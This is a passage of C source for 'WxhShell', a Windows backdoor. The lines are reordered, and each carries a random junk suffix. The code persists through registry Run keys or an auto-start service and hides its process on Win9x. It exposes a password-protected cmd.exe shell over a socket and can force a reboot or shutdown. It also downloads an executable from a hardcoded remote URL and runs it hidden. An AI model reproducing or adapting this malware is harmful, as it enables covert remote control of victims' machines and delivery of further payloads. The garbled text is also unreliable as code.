    } RH6qi{)i!  
  // 关机 }I,]"0b  
  case 'd': { ./[%%"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |CY.Y,  
    if(Boot(SHUTDOWN)) v~ZdMQvwt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5cgDHs  
    else { q%Obrk  
    closesocket(wsh); *8,]fBUq  
    ExitThread(0); h+CTi6-p  
    } &'c1"%*%8>  
    break; ui YZk3  
    } Y%|f<C)lx2  
  // 获取shell L!c7$M5xJ  
  case 's': { 2^Q)~sSf9  
    CmdShell(wsh); e6QUe.S  
    closesocket(wsh); vitmG'|WG  
    ExitThread(0); =d.Z:L9d  
    break; ^yu0Veypy  
  } 536H*HdN  
  // 退出 HPg@yx"U  
  case 'x': { 68+ 9^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4}!riWR   
    CloseIt(wsh); iZwt,)(  
    break; |.)oV;9  
    } }O<=!^Y;A  
  // 离开 sD_Z`1  
  case 'q': { yO]Vex5)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9`$fU)K[Pl  
    closesocket(wsh); b Zn:q[7  
    WSACleanup(); uqXvN'Jr  
    exit(1); jL6u#0  
    break; 25::z9i  
        } S c_*L<$  
  } F(Pe@ #)A  
  } S}cpYjnH8  
=^|^" b  
  // 提示信息 vjhd|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c'vxT<8fWW  
} "<Dn%r  
  } T\{ on[O  
.a8N 5{`  
  return; zy"L%i  
} \|F4@  
<IC=x(T  
// shell模块句柄 M$B9?N6  
int CmdShell(SOCKET sock) E!8FZv8  
{ 9gZMfP  
STARTUPINFO si; /XeDN-{  
ZeroMemory(&si,sizeof(si)); TUw^KSa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rr>QG<i;G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &na#ES $X,  
PROCESS_INFORMATION ProcessInfo; w4Qqo(  
char cmdline[]="cmd"; ,^pM]+NF|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .{1G"(z  
  return 0; 1XSA3;ZEc  
} GbFLu`Iu  
n#uH^@#0  
// 自身启动模式 5|my}.TR  
int StartFromService(void) w},' 1  
{ @zL)R b%P$  
typedef struct s:'M[xI  
{ K_{f6c<  
  DWORD ExitStatus; )@09Y_9r  
  DWORD PebBaseAddress; D>+&= 5{  
  DWORD AffinityMask; (%}T\~`1z#  
  DWORD BasePriority; 4EQ7OGU  
  ULONG UniqueProcessId; ?&I gD.  
  ULONG InheritedFromUniqueProcessId; [R+zzl&Zw  
}   PROCESS_BASIC_INFORMATION; 3~z4#8=  
IfzHe8>  
PROCNTQSIP NtQueryInformationProcess; {hGr`Rh  
KE1S5Mck>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "u~l+aW0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '%_1eaH  
dB+x,+%u+  
  HANDLE             hProcess; K QXw~g?  
  PROCESS_BASIC_INFORMATION pbi; o,[~7N  
blNE$X+0|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t j&+HC  
  if(NULL == hInst ) return 0; ?Z0T9e<  
h#'(i<5v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]:i :QiYD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gP"p7\ (  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %Fig`qX  
mr6/d1af_  
  if (!NtQueryInformationProcess) return 0; 3G9"La,b  
+Mc kR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iDt^4=`  
  if(!hProcess) return 0; .281;] =  
#P.jlpZk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gYVk5d|8@4  
Qj5~ lX`W  
  CloseHandle(hProcess); 0L"CM?C  
aehGT|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &dF$:$'s  
if(hProcess==NULL) return 0; v+U( #"  
%ANo^~8  
HMODULE hMod; P1;T-.X~&  
char procName[255]; LI_>fuv"8  
unsigned long cbNeeded; !-b4@=f:  
;v'7l>w3\w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *( YtO  
o"~ODN" L  
  CloseHandle(hProcess); Z m9 e|J  
Gc>bli<-  
if(strstr(procName,"services")) return 1; // 以服务启动 OLUQjvnU  
-NtT@ +AE  
  return 0; // 注册表启动 _5%SYxF*y  
} n"vl%!B  
]2(vO0~  
// 主模块 (__=*ew  
int StartWxhshell(LPSTR lpCmdLine) TJ[C,ic=D  
{ t5mI)u  
  SOCKET wsl; 9+"D8J7  
BOOL val=TRUE; {Md xIp[  
  int port=0;  G7 >  
  struct sockaddr_in door; WXu:mv,'e  
-QjdL9\[c7  
  if(wscfg.ws_autoins) Install(); 6eE%x?#  
";}Lf1M9  
port=atoi(lpCmdLine); ;l> xXSB7$  
w]GoeIg({  
if(port<=0) port=wscfg.ws_port; s<gZB:~  
~t[ #p:  
  WSADATA data; v ~.X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >JwdVy^  
H+vONg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;Q&38qI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K];nM}<  
  door.sin_family = AF_INET; (A O]f fBU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r|4jR6%<'m  
  door.sin_port = htons(port); txQyHQ)@  
kv&%$cA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?g| K"P<1  
closesocket(wsl); 5x?eu n  
return 1; 6l&m+!i  
} W[PZQCL}K)  
c+?L?s`"  
  if(listen(wsl,2) == INVALID_SOCKET) { yLCqlK  
closesocket(wsl); #%z--xuJL  
return 1; Onb*nm  
} %y.9S=,v,  
  Wxhshell(wsl); J XKps#,(#  
  WSACleanup(); !Sr^4R+Z  
9UTWq7KJ  
return 0; iz]Vb{5n%  
9XWF&6w6yf  
} !+Z"7e nj  
`q* 0^}  
// 以NT服务方式启动 MV6 %~T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !e@G[%k  
{ ~ z4T   
DWORD   status = 0; >SpXB:wx  
  DWORD   specificError = 0xfffffff; 0h!2--Aur  
oc' #sE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '&Ox,i]t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MbLG8T:y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _?<Y>B, E  
  serviceStatus.dwWin32ExitCode     = 0; )?~3fb6^  
  serviceStatus.dwServiceSpecificExitCode = 0; g0I<Fan  
  serviceStatus.dwCheckPoint       = 0; 8yz A W&q  
  serviceStatus.dwWaitHint       = 0; Pc{D,/EpR  
Gp9 >R~$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1Uz'= a  
  if (hServiceStatusHandle==0) return; SdC505m0*  
1  6;l,@  
status = GetLastError(); Fp4?/-]  
  if (status!=NO_ERROR) AbUU#C7  
{ Le9r7O:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G?\o_)IJ  
    serviceStatus.dwCheckPoint       = 0; 6;Cr92  
    serviceStatus.dwWaitHint       = 0; n>>hfxv(O!  
    serviceStatus.dwWin32ExitCode     = status; )<G>]IP<  
    serviceStatus.dwServiceSpecificExitCode = specificError; F3jrJ+nJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K4SR`Q  
    return;  s=#IoNh  
  } [?Y u3E\  
_tL+39 u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "Nd$sZk=  
  serviceStatus.dwCheckPoint       = 0; g*t.g@B<2  
  serviceStatus.dwWaitHint       = 0; n4YEu\*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OH5 kT$  
} GiHJr1  
m hJ>5z  
// 处理NT服务事件,比如:启动、停止 C fQj7{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I5'^tBf[{  
{ ,iCd6M{  
switch(fdwControl) 5{ #9b^  
{ 3Zsqx =w  
case SERVICE_CONTROL_STOP: N\H{p %8  
  serviceStatus.dwWin32ExitCode = 0; \s&w0V`Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R8EDJ2u#  
  serviceStatus.dwCheckPoint   = 0; YV-2es+Bd  
  serviceStatus.dwWaitHint     = 0; lO%Z4V_Mj  
  { v0X5`VV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^]'p927  
  } ;Iw'TF   
  return; \yb^%$hZ0  
case SERVICE_CONTROL_PAUSE: OI %v>ns  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y8.0R-:ZAN  
  break; h1fJ`WT6,  
case SERVICE_CONTROL_CONTINUE: [lS'GszA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <WaiJy?  
  break; DetBZ.  
case SERVICE_CONTROL_INTERROGATE: i/O!bq[o  
  break; f: 7Y  
}; )t&|oQ3sVG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9<7Q{  
} K/Q;]+D  
"4g1I<  
// 标准应用程序主函数 =6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =Z#tZ{"  
{ NXeo&+F  
Km+29  
// 获取操作系统版本 )yJeh  
OsIsNt=GetOsVer(); 4 CX*,7LZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 68I4MZK>4  
'U1r}.+b>  
  // 从命令行安装 ]Wd{4(b  
  if(strpbrk(lpCmdLine,"iI")) Install(); < ]wN/B-8J  
;i:Uoyi  
  // 下载执行文件 = 1}-]ctVn  
if(wscfg.ws_downexe) { Om}&`AP};  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s ]QzNc  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9\Xl 3j!  
} !\awT  
G>:l(PW:  
if(!OsIsNt) { c |C12b[  
// 如果时win9x,隐藏进程并且设置为注册表启动 }=f}@JlFB  
HideProc(); pQVi&(M  
StartWxhshell(lpCmdLine); E\V>3rse  
} tD4IwX  
else *D<sk7  
  if(StartFromService()) *ac#wEd  
  // 以服务方式启动 "X]u fZ7  
  StartServiceCtrlDispatcher(DispatchTable); VwC, +B  
else 'Y vW|Iq  
  // 普通方式启动 U_VD* F4Bv  
  StartWxhshell(lpCmdLine); n]j(tP  
p{-1%jQ}]  
return 0; G^2"\4R]p  
} ~{5%~8h.0r  
#;mZ3[+i5  
wfZ 'T#1  
H/, tE0ZV  
=========================================== zP9 HYS  
p19Zxh  
+=}% 7o  
"(C }Dn#  
9*2hBNp+  
sdO;vp^:b  
" rg'? ?rq  
 (K?[gI  
#include <stdio.h> 9J|YP}%  
#include <string.h> tICxAp:  
#include <windows.h> JI*ikco-  
#include <winsock2.h> a"EQldm|d  
#include <winsvc.h> 7=<PVJ*/  
#include <urlmon.h> M>]%Iu  
/60[T@Mz  
#pragma comment (lib, "Ws2_32.lib") !tb RqW6v  
#pragma comment (lib, "urlmon.lib") M,#t7~t  
tlcA\+%)  
#define MAX_USER   100 // 最大客户端连接数 UfkRY<H  
#define BUF_SOCK   200 // sock buffer QyN~Crwo  
#define KEY_BUFF   255 // 输入 buffer ,F *e^#>  
C>MoR3]  
#define REBOOT     0   // 重启 W*s`1O>  
#define SHUTDOWN   1   // 关机 2;&13%@!  
Zq`bd55~  
#define DEF_PORT   5000 // 监听端口 q%y_<Fw#E  
_Ng*K]0/E  
#define REG_LEN     16   // 注册表键长度 @qe>ph[UA  
#define SVC_LEN     80   // NT服务名长度 ~/#?OLj(T  
Dr2h-  
// 从dll定义API g9 yCd(2<5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b\+|g9Tm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xUw\Y(!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1uH\Bn]p?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }3*h`(Bv7  
fwnpmuJ  
// wxhshell配置信息 3@&H)fdp6a  
struct WSCFG { '~f@p~P  
  int ws_port;         // 监听端口 o|}%pc3  
  char ws_passstr[REG_LEN]; // 口令 .ClCP?HG  
  int ws_autoins;       // 安装标记, 1=yes 0=no -'0AV,{Z  
  char ws_regname[REG_LEN]; // 注册表键名 WR-C_1-pT  
  char ws_svcname[REG_LEN]; // 服务名 i&3 0n#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?I0 i%nH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -'N#@Wdr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0 iE).Za0g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c%U$qao=c+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mQvKreo~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 395o[YZx*  
2(rZ@Wl  
}; -#o+x Jj  
6f>l~$  
// default Wxhshell configuration }ri*e2y)  
struct WSCFG wscfg={DEF_PORT, #,PAM.rH  
    "xuhuanlingzhe", g@y" B6X  
    1, 1h#k&r#*3  
    "Wxhshell", ?.A|Fy^  
    "Wxhshell", 0B4(t6o  
            "WxhShell Service", 2%qn !+.  
    "Wrsky Windows CmdShell Service", 9e)+<H  
    "Please Input Your Password: ", vedMzef[@>  
  1, y;Zfz~z  
  "http://www.wrsky.com/wxhshell.exe", pjCWg 4ya  
  "Wxhshell.exe" 0V#t ;`Q3  
    }; m c+wRx  
/2cI{]B  
// 消息定义模块 t(Zs*c(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -Wn.@bz6B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XH *tChf<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GA_`C"mx  
char *msg_ws_ext="\n\rExit."; lp}WBd+  
char *msg_ws_end="\n\rQuit."; eE{L>u  
char *msg_ws_boot="\n\rReboot..."; N Sh.g #  
char *msg_ws_poff="\n\rShutdown..."; 1a$V{Eag  
char *msg_ws_down="\n\rSave to "; 4 ufLP DH  
Xe SbA  
char *msg_ws_err="\n\rErr!"; V0 F30rK  
char *msg_ws_ok="\n\rOK!"; ?Bzi#Z  
yUW&Wgc=:  
char ExeFile[MAX_PATH]; e] K=Nm  
int nUser = 0; W|#ev*'F  
HANDLE handles[MAX_USER]; fBgKX ?Y  
int OsIsNt; --twkD  
:2pBv#\"qk  
SERVICE_STATUS       serviceStatus; $uw+^(ut  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SO<m(o)G2  
p}A4K#G  
// 函数声明 Jo3(bl %u  
int Install(void); -z0{\=@#m  
int Uninstall(void); H 1D;:n  
int DownloadFile(char *sURL, SOCKET wsh); 8KtgSash  
int Boot(int flag); -?nT mzRc  
void HideProc(void); _qeuVi=A  
int GetOsVer(void); tt ]V$V  
int Wxhshell(SOCKET wsl); eqZ+no  
void TalkWithClient(void *cs); R5eB,FN  
int CmdShell(SOCKET sock); pRwGv  
int StartFromService(void); K`,d$  
int StartWxhshell(LPSTR lpCmdLine); }=hoATs  
^dnz=FB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ) , ]2`w&k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r^A#[-VyNP  
'95E;RV&  
// 数据结构和表定义 Yc82vSG'  
SERVICE_TABLE_ENTRY DispatchTable[] = q Iy^N:C2'  
{ N 2"3~  #  
{wscfg.ws_svcname, NTServiceMain}, _ML~c&9jv  
{NULL, NULL} Ww96|m  
}; em1cc,  
ls24ccOs  
// 自我安装 h Y}/Y  
int Install(void) nF<y7XkO  
{ %i&/$0.8  
  char svExeFile[MAX_PATH]; f5aF6FBH  
  HKEY key; 6%.  
  strcpy(svExeFile,ExeFile); qggk:cN1  
3_MS'&M  
// 如果是win9x系统,修改注册表设为自启动 &'(a$ S>v  
if(!OsIsNt) { adI!W-/R:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v1nQs='  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g. ?*F#2  
  RegCloseKey(key); KR=d"t Qw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hDljY!P>p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R6!cK[e]4  
  RegCloseKey(key); KQ4kZN  
  return 0; 7}ws |4Y  
    } 6F*-qb3  
  } pw,O"6J*  
} nn@^K6  
else { f]tv`<Q7  
DS:>/m>)  
// 如果是NT以上系统,安装为系统服务 mRhd/|g*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c62dorDqy  
if (schSCManager!=0) ~u /aOd  
{ d4Co^A&  
  SC_HANDLE schService = CreateService gA~20LSt  
  ( ?a5h iN0  
  schSCManager, >4n+PXRXX  
  wscfg.ws_svcname, J~Cc9"(  
  wscfg.ws_svcdisp, Rx6l|'e  
  SERVICE_ALL_ACCESS, $#%U\mI z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (C daE!I4Q  
  SERVICE_AUTO_START, pOC% oj  
  SERVICE_ERROR_NORMAL, *16<M)7  
  svExeFile, l0gY~T/#3  
  NULL, GE1i+.+-.  
  NULL, Q [r j  
  NULL, n*4lz^LR  
  NULL, 0b/i r2  
  NULL <9P4}`%)3  
  ); G' Blp  
  if (schService!=0) CRH{E}>  
  { ]N*L7AVl  
  CloseServiceHandle(schService); s\[LpLt  
  CloseServiceHandle(schSCManager); AXwaVLEBQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lT8#bA  
  strcat(svExeFile,wscfg.ws_svcname); & _; y.!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aaDP9FW9e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L7'%;?Z  
  RegCloseKey(key); Ju!(gh  
  return 0; M)&Io6>  
    } I>PZYh'.T  
  } 96d~~2p  
  CloseServiceHandle(schSCManager); 33Jd!orXU  
} 9lf*O0Z&n  
} [4sEVu}  
zh\p  
return 1; R}8XRe  
} Wf#VA;d  
_;56^1'T  
// 自我卸载 $ a?  
int Uninstall(void) f-Jbs`(+  
{ )qL&%xz  
  HKEY key;  qve ./  
S,)d(g3>  
if(!OsIsNt) { k1)%.pt%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ? B@&#E!/f  
  RegDeleteValue(key,wscfg.ws_regname); 9mlIbEAb  
  RegCloseKey(key); eG5Y+iL-V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z(j{F<\jS  
  RegDeleteValue(key,wscfg.ws_regname); S}(8f!9<  
  RegCloseKey(key); dBSbu=^$)  
  return 0;  v,=v  
  } Lxv6!?v|  
} a5@z:i  
} >nzu],U  
else { T.REq4<  
M|q~6oM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #]CFA9 z  
if (schSCManager!=0) xl(@C*.sC1  
{ `s|]"'rX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L*h{'<Bz  
  if (schService!=0) }Ov ^GYnn  
  { >-.e AvD  
  if(DeleteService(schService)!=0) { !v|FT. T`  
  CloseServiceHandle(schService); O~!T3APGU  
  CloseServiceHandle(schSCManager); X&M4MuL  
  return 0; t 42ub  
  } 9i5tVOhE  
  CloseServiceHandle(schService); K{@3\5<  
  } N|mJg[j@7  
  CloseServiceHandle(schSCManager); Xd<t5{bD!  
} <F;v`h|+S  
} OoBCY-gj*  
nOb?-rR  
return 1; ZE?f!ifp  
} ~gE:-  
-`+<{NHv\  
// 从指定url下载文件 BecP T  
int DownloadFile(char *sURL, SOCKET wsh) lhH`dG D  
{ a2w T6jY  
  HRESULT hr; Ml?~ |_  
char seps[]= "/"; j'?7D0>  
char *token; YAVy9$N-  
char *file; W=JAq%yd<  
char myURL[MAX_PATH]; R\mR$\cS  
char myFILE[MAX_PATH];  x}TS  
p8}(kHUp(  
strcpy(myURL,sURL); QSw<%pcJE@  
  token=strtok(myURL,seps); ht=P\E  
  while(token!=NULL) \3Pv# )  
  { mO*^1  
    file=token; 6Wj^*L!  
  token=strtok(NULL,seps); t23'x0l  
  } d>0 +A)6>  
2 PqS%`XiS  
GetCurrentDirectory(MAX_PATH,myFILE); 59r_#(uo  
strcat(myFILE, "\\"); izgp*M,  
strcat(myFILE, file); @{hd{>K*  
  send(wsh,myFILE,strlen(myFILE),0); Bc7V)Y K  
send(wsh,"...",3,0); G7GZDi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \f:z+F!6R  
  if(hr==S_OK) 7ZxaPkIu&%  
return 0; urBc=3Rz  
else r H8@69,B  
return 1; B9R(&<4  
^qGb%! l  
} Jzkq)]M  
;5_{MCPM  
// 系统电源模块 m)v''`9LU  
int Boot(int flag) "_|oWn  
{ `B/0iA  
  HANDLE hToken; i;/xK=L  
  TOKEN_PRIVILEGES tkp; g.py+ ZFJ  
[XVEBA4GI  
  if(OsIsNt) { 5xCT~y/a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8:=n*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +Hvc_Av''  
    tkp.PrivilegeCount = 1; 7c|bc6?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \u,}vpp z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dCyqvg6u  
if(flag==REBOOT) { (8$k4`T>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1MlUG5  
  return 0; !RB)_7  
} <"N_j]wD  
else { s m,VYYs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O.aG[ wm8  
  return 0; cH' iA.  
} Q?b14]6im  
  } Fm\"{)V:b  
  else { in+}/mwfC  
if(flag==REBOOT) { x8Loyt_C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {S/yL[S.  
  return 0; 6!x&LoM  
} vo>d!rVCV  
else { `?T#Hl>j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d) f@ 5/<  
  return 0; Y3.$G1{#0w  
} X cr  =  
} <8,o50`B  
"Z Htr<+  
return 1; :y*NM,s  
} m>USD? i  
w(ln5q  
// win9x进程隐藏模块 <q*oV  
void HideProc(void) ,}oM-B  
{ qm/Q65>E  
:NJ_n6E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pl@O N"=[  
  if ( hKernel != NULL ) 2M#M"LHo  
  { Q!- 0xlx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P-F)%T[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W} WI; cI  
    FreeLibrary(hKernel); H]Hv;fcC  
  } vEf4HZ&w  
\(226^|j  
return; 8fA_p}wp  
} {{V8;y  
f}g\D#`]/  
// 获取操作系统版本 ? WJ> p  
int GetOsVer(void) ^` un'5Vk  
{ S$KFf=0  
  OSVERSIONINFO winfo; XE^)VLH:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  _zlqtO  
  GetVersionEx(&winfo); zvABU+{jD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BA\/YW @  
  return 1; C{TA.\   
  else hxce\OuU0h  
  return 0; %ZHP2j %~  
}  "KcA  
n>@oBG)!  
// 客户端句柄模块 >WY#4  
int Wxhshell(SOCKET wsl) 21k5I #U  
{ r0p w_j  
  SOCKET wsh; YK|bXSA[  
  struct sockaddr_in client; *JggU  
  DWORD myID; 8DP+W$  
%$%& m1Y  
  while(nUser<MAX_USER) {U&.D [{&  
{ vJAZ%aW  
  int nSize=sizeof(client); 8r3A~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3?Y2L  
  if(wsh==INVALID_SOCKET) return 1; 9x,RvWTb  
 >S$Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ss;R8:5  
if(handles[nUser]==0) d,Y_GCZ7|W  
  closesocket(wsh); X,9 M"E 2  
else [O: !(G je  
  nUser++; y:v,j42%  
  } UH3sH t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~-wPP{!  
[+qCs7'  
  return 0; R|i/lEq  
} 7GDHz.IX  
cwGbSW$t  
// 关闭 socket J\ e+}{  
void CloseIt(SOCKET wsh) qzb<J=FAU  
{ ?%H):r  
closesocket(wsh); Y@PI {;!  
nUser--; /x3/Ubmz~x  
ExitThread(0); l<M'=-Y  
} bH"hX  
{BKl`1z  
// 客户端请求句柄 j0@[Br%7  
void TalkWithClient(void *cs) *)+ut(x|#  
{ Z@hD(MS(C  
m&|`x  
  SOCKET wsh=(SOCKET)cs; LM2TZ   
  char pwd[SVC_LEN]; RT%pDym\  
  char cmd[KEY_BUFF]; sXNb}gJ  
char chr[1]; SNY~9:;]f  
int i,j; #s!'+|2n  
TX#m&vh  
  while (nUser < MAX_USER) { z({hiVs  
_{M\Bs2<  
if(wscfg.ws_passstr) { .^b;osAU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :O5og[;b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k}~O}~-  
  //ZeroMemory(pwd,KEY_BUFF); 1bGopi/  
      i=0; GguFo+YeZ  
  while(i<SVC_LEN) { 52o x`t|  
"s\L~R.&  
  // 设置超时 4lZ$;:Jg  
  fd_set FdRead; {[+2n]f_G  
  struct timeval TimeOut; 6Zn @2PGEl  
  FD_ZERO(&FdRead); *b]; |n{  
  FD_SET(wsh,&FdRead); iOG[>u0h  
  TimeOut.tv_sec=8; ?&Pg2]g<  
  TimeOut.tv_usec=0; *cyeO*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a ^%"7Ri  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [e1S^pI  
s|D>-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W\18{mbuy  
  pwd=chr[0]; (ND4Q[*6  
  if(chr[0]==0xd || chr[0]==0xa) { ['ksP-=  
  pwd=0; .; &# )l  
  break; cHa]xmy%r'  
  } c sfgJ^n  
  i++;  f3UXCp  
    } f  nI|  
Y6&wJ<   
  // 如果是非法用户,关闭 socket `%j~|i)4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IJ/sX_k  
} !Kv@\4  
 \lSU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yS=oUE$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oTT7M`P3h  
+kFxi2L6  
while(1) { gkHNRAL  
iPrLwheb  
  ZeroMemory(cmd,KEY_BUFF); G}9=)  
n#iwb0-  
      // 自动支持客户端 telnet标准   1 `KN]Nt  
  j=0; Ye.r%i &  
  while(j<KEY_BUFF) { SRSvot};C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 57 #6yXQ  
  cmd[j]=chr[0]; sCu+Lg~f  
  if(chr[0]==0xa || chr[0]==0xd) { aj}(E +  
  cmd[j]=0; 1@lJonlF  
  break; :\=CRaA  
  } +b3^.wkq  
  j++; ~.!c~fke  
    } r:]1 O*  
@9&P~mo/  
  // 下载文件 Y \:0Ev  
  if(strstr(cmd,"http://")) { HEGKX]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P bQk<"J1  
  if(DownloadFile(cmd,wsh)) M5x U9]B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >,DbNmi  
